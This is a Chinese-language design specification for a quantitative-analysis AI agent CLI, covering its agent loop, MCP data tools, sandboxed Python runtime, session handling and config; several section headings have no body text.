量化分析 Agent CLI

工作范围：CLI 层架构、Agent 引擎、工具系统、安全模型、会话管理。不涉及 Web/桌面分发。

1. 核心洞察

这意味着：

• MCP 负责数据抓取（search、fetch），Code Runtime 负责计算（执行、状态管理、可视化）。两者职责不同，不应混用同一协议。
• Tool 设计的颗粒度完全不同——不是 50 个细粒度 finance tool，而是一个 run_python(code) + 一个持久化 session。
• 威胁模型特殊：LLM 生成的代码不可信，沙箱隔离是生存问题，不是可选项。

2. 系统架构

┌──────────────────────────────────────────────┐
│  CLI Layer (rich / textual / prompt_toolkit) │
│  自然语言输入 → 流式渲染 Markdown + 表格 + 图表 │
├──────────────────────────────────────────────┤
│  Agent Core (Python)                         │
│                                              │
│  ┌──────────┐   ┌───────────┐   ┌──────────┐│
│  │ Planning  │   │ Coding    │   │ Review   ││
│  │ 拆解任务   │──→│ 生成代码   │──→│ 校验输出  ││
│  │ 选工具    │   │ 执行+迭代  │   │ 重试/修正 ││
│  └──────────┘   └───────────┘   └──────────┘│
│                      │                       │
│            ┌─────────┴─────────┐             │
│            ▼                   ▼             │
│  ┌──────────────┐   ┌──────────────────┐     │
│  │ Data Tools   │   │ Code Runtime     │     │
│  │ (MCP 兼容)   │   │ (自定义协议)      │     │
│  │              │   │                  │     │
│  │ search_data  │   │ run_python(code) │     │
│  │ fetch_data   │   │ · 沙箱隔离       │     │
│  │ list_sources │   │ · 持久 session   │     │
│  └──────────────┘   │ · 流式输出       │     │
│                      │ · 图表渲染       │     │
│                      └──────────────────┘     │
├──────────────────────────────────────────────┤
│  Session Context                             │
│  挂载数据集 · 变量命名空间 · 因子定义 · 回测结果│
└──────────────────────────────────────────────┘

2.1 为什么 Data 层用 MCP，Runtime 层不用

3. Agent Loop 设计

3.1 核心循环

用户输入: "找出沪深300市盈率最低的10只股票，按行业分组统计，画图"

┌─────────────────────────────────────────────┐
│ STEP 1: Plan                                │
│   LLM 输出:                                  │
│   - 需要数据: 沪深300成分股 + PE + 行业分类    │
│   - 需要工具: search_data, fetch_data         │
│   - 步骤: 取数→过滤→切片→画图                  │
├─────────────────────────────────────────────┤
│ STEP 2: Act (tool calls)                    │
│   search_data("沪深300成分股")               │
│   → 返回: akshare.index_stock_cons("000300") │
│   fetch_data("index_stock_cons", "000300",   │
│              fields="code,name,pe,industry") │
│   → 返回: DataFrame(300 rows × 4 cols)      │
├─────────────────────────────────────────────┤
│ STEP 3: Code + Execute                      │
│   LLM 生成:                                  │
│   result = df.nsmallest(10, 'pe_ttm')        │
│   grouped = result.groupby('industry').size()│
│   fig = grouped.plot.bar()                   │
│   run_python(code) → 表格 + 图表              │
├─────────────────────────────────────────────┤
│ STEP 4: Review & Respond                    │
│   检查: 输出 10 行? 图表正确?                  │
│   不对 → 修正后重新 run                       │
│   对的 → 渲染 Markdown 表格 + 图表给用户       │
└─────────────────────────────────────────────┘

3.2 三个子 Agent 的职责

4. 工具系统详细设计

4.1 Data Tools（MCP 兼容）

# MCP Server: akshare-provider
# 暴露以下 tools:

{
  "name": "search_data",
  "description": "搜索可用的数据集。输入关键词，返回匹配的数据集 ID 和描述。",
  "parameters": {
    "keyword": "string  // 如 '沪深300', '可转债', '宏观经济'"
  },
  "returns": "[{id, name, description, schema, source}]"
}

{
  "name": "fetch_data",
  "description": "拉取指定数据集。",
  "parameters": {
    "dataset_id": "string",
    "params": "object  // 如 {symbol: '000300', start: '2024-01-01'}",
    "limit": "int     // 默认 10000"
  },
  "returns": "{columns: [str], dtypes: {col: type}, rows: int, preview: [[...]]}"
}

{
  "name": "list_sources",
  "description": "列出所有已配置的数据源及其状态。",
  "returns": "[{name, status, datasets_count}]"
}

4.2 Code Runtime（自定义协议）

# 自定义 JSON-RPC over stdio or HTTP

{
  "method": "run",
  "params": {
    "code": "df_result = df.nsmallest(10, 'pe_ttm')",
    "session_id": "sess_abc123",
    "timeout": 30
  },
  "returns": {
    "stdout": "string",
    "stderr": "string",
    "error": "string | null",
    "artifacts": [
      {"type": "dataframe", "name": "df_result", "shape": [10,4],
       "columns": [...], "preview": [[...]]},
      {"type": "image",   "path": "/tmp/plot_1.png", "format": "png"},
      {"type": "value",   "name": "_", "repr": "0.1523"}
    ]
  }
}

{
  "method": "list_vars",
  "params": { "session_id": "sess_abc123" },
  "returns": {
    "variables": [
      {"name": "df", "type": "DataFrame", "shape": [300, 4]},
      {"name": "df_result", "type": "DataFrame", "shape": [10, 4]}
    ]
  }
}

{
  "method": "reset",
  "params": { "session_id": "sess_abc123" },
  "returns": { "ok": true }
}

4.3 变量命名空间的自动挂载

Agent 写完代码后，Code Runtime 自动把 所有新创建的变量 注册到 session，下一次 Agent 写代码时直接用。LLM 通过 list_vars 了解当前状态：

# 第 1 轮：加载数据
run_python("df = load_csi300_data()")
→ variables: {df: DataFrame(300×15)}

# 第 2 轮：过滤（直接用 df，不需要重新加载）
run_python("low_pe = df[df['pe_ttm'] < 15]")
→ variables: {df: …, low_pe: DataFrame(42×15)}

# 第 3 轮：分组统计（直接用 low_pe）
run_python("result = low_pe.groupby('industry')['pe_ttm'].mean().sort_values()")
→ variables: {df: …, low_pe: …, result: Series(12)}

5. 安全模型

5.1 威胁清单

5.2 三层沙箱

Layer 1: Python 进程隔离
  subprocess.Popen(["python3", "-c", code])
  ├─ 独立进程，崩溃不影响主进程
  ├─ 超时机制：signal.SIGALRM 或 subprocess timeout
  └─ 内存限制：resource.setrlimit(RLIMIT_AS, 512MB)

Layer 2: 系统级沙箱 (macOS: sandbox-exec, Linux: firejail / Docker)
  ├─ 只读文件系统：只挂载必要目录
  ├─ 限制网络：只允许白名单域名（数据源 API）
  ├─ 禁止子进程：禁止 exec/fork
  └─ CPU 限制：cgroups / nice

Layer 3: Python 级限制
  ├─ import 白名单：pandas, numpy, matplotlib, scipy, statsmodels
  ├─ 禁止 builtins：open, __import__, eval, exec, compile
  └─ RestrictedPython（可选）：编译时 AST 检查

5.3 最小可行安全方案

6. 会话管理

6.1 Session 生命周期

quanticli new "A股低估值策略研究"
  → session_id: "sess_20240723_a1b2c3"
  → 创建目录 ~/.quanticli/sessions/sess_20240723_a1b2c3/
     ├─ history.jsonl    # 每轮对话记录
     ├─ context.yaml     # 当前上下文（数据集、变量、中间结果）
     └─ artifacts/       # 图表、导出 CSV

quanticli resume sess_20240723_a1b2c3
  → 恢复会话：重新加载数据、重建变量命名空间
  → 用户继续提问

quanticli list
  → 列出所有历史会话

quanticli export sess_20240723_a1b2c3
  → 导出为 Markdown 报告 / Jupyter notebook

6.2 Context 压缩策略

量化会话很容易触达 LLM context 上限。两轮数据操作就可能产生大量文本：

# 实际情况：一个 DataFrame schema 就几百 token
"df 有 300 行 15 列：code(str), name(str), open(f64), high(f64),
 low(f64), close(f64), volume(i64), pe_ttm(f64), pb(f64),
 roe(f64), industry(str), market_cap(f64), …"

# 再加上代码和输出，三轮对话轻松破 4000 token

压缩策略：

• DataFrame 只传 schema（列名 + 类型），不传数据内容
• 代码只保留最后一次正确版本，中间失败的尝试不保留
• Agent 推理过程归结为"已确定"结论，不回放完整思考链
• 触达 80% context 上限时自动 摘要压缩（LLM 自总结前面的分析）

7. 终端渲染

7.1 输出渲染能力矩阵

7.2 流式输出的处理

LLM 输出是 token 流，但内容混合了文本和工具调用：

文本流: "好的，" → "让我" → "分析" → "一下" → …
  → 逐 token 打印到终端（打字机效果）

工具调用（JSON 块）: {"tool": "run_python", "code": "..."}
  → 显示为 [⚙ Running analysis...]
  → 拿到结果后追加表格/图表
  → 继续流式文本

实现要点:
  - LLM 响应用 SSE stream
  - 解析器判断当前 token 属于 text 还是 tool_call
  - text → 直接 print flush
  - tool_call → 缓冲完整 JSON → 执行 → 渲染 result

8. 配置文件设计

# ~/.quanticli/config.yaml

model:
  provider: anthropic     # anthropic | openai | local
  model: claude-sonnet-4-20250514
  # api_key: ${ANTHROPIC_API_KEY}   # 从环境变量读取

execution:
  sandbox: docker         # docker | subprocess | none
  timeout: 60             # 每次代码执行超时（秒）
  max_memory_mb: 512
  allowed_imports:
    - pandas
    - numpy
    - matplotlib
    - scipy.stats
    - statsmodels.api

data_sources:
  - name: akshare
    type: mcp
    command: ["uvx", "akshare-mcp-server"]
  - name: tushare
    type: mcp
    command: ["uvx", "tushare-mcp-server"]
    env:
      TUSHARE_TOKEN: ${TUSHARE_TOKEN}
  - name: local_csv
    type: directory
    path: ~/quant_data/

display:
  max_table_rows: 20
  max_column_width: 30
  chart_backend: unicode   # unicode | sixel | none
  theme: dark              # dark | light

session:
  storage_dir: ~/.quanticli/sessions/
  auto_save: true
  context_limit_tokens: 80000
  auto_summarize_threshold: 0.8   # 80% 触发压缩

9. MVP 范围

9.1 MVP 包含

9.2 MVP 明确不做

• 多轮对话（每次独立运行）
• 会话持久化
• Docker 沙箱
• MCP 协议接入
• TUI / 交互式 REPL
• 多模型路由
• 回测框架集成

10. 关键风险

11. 与竞品的差异化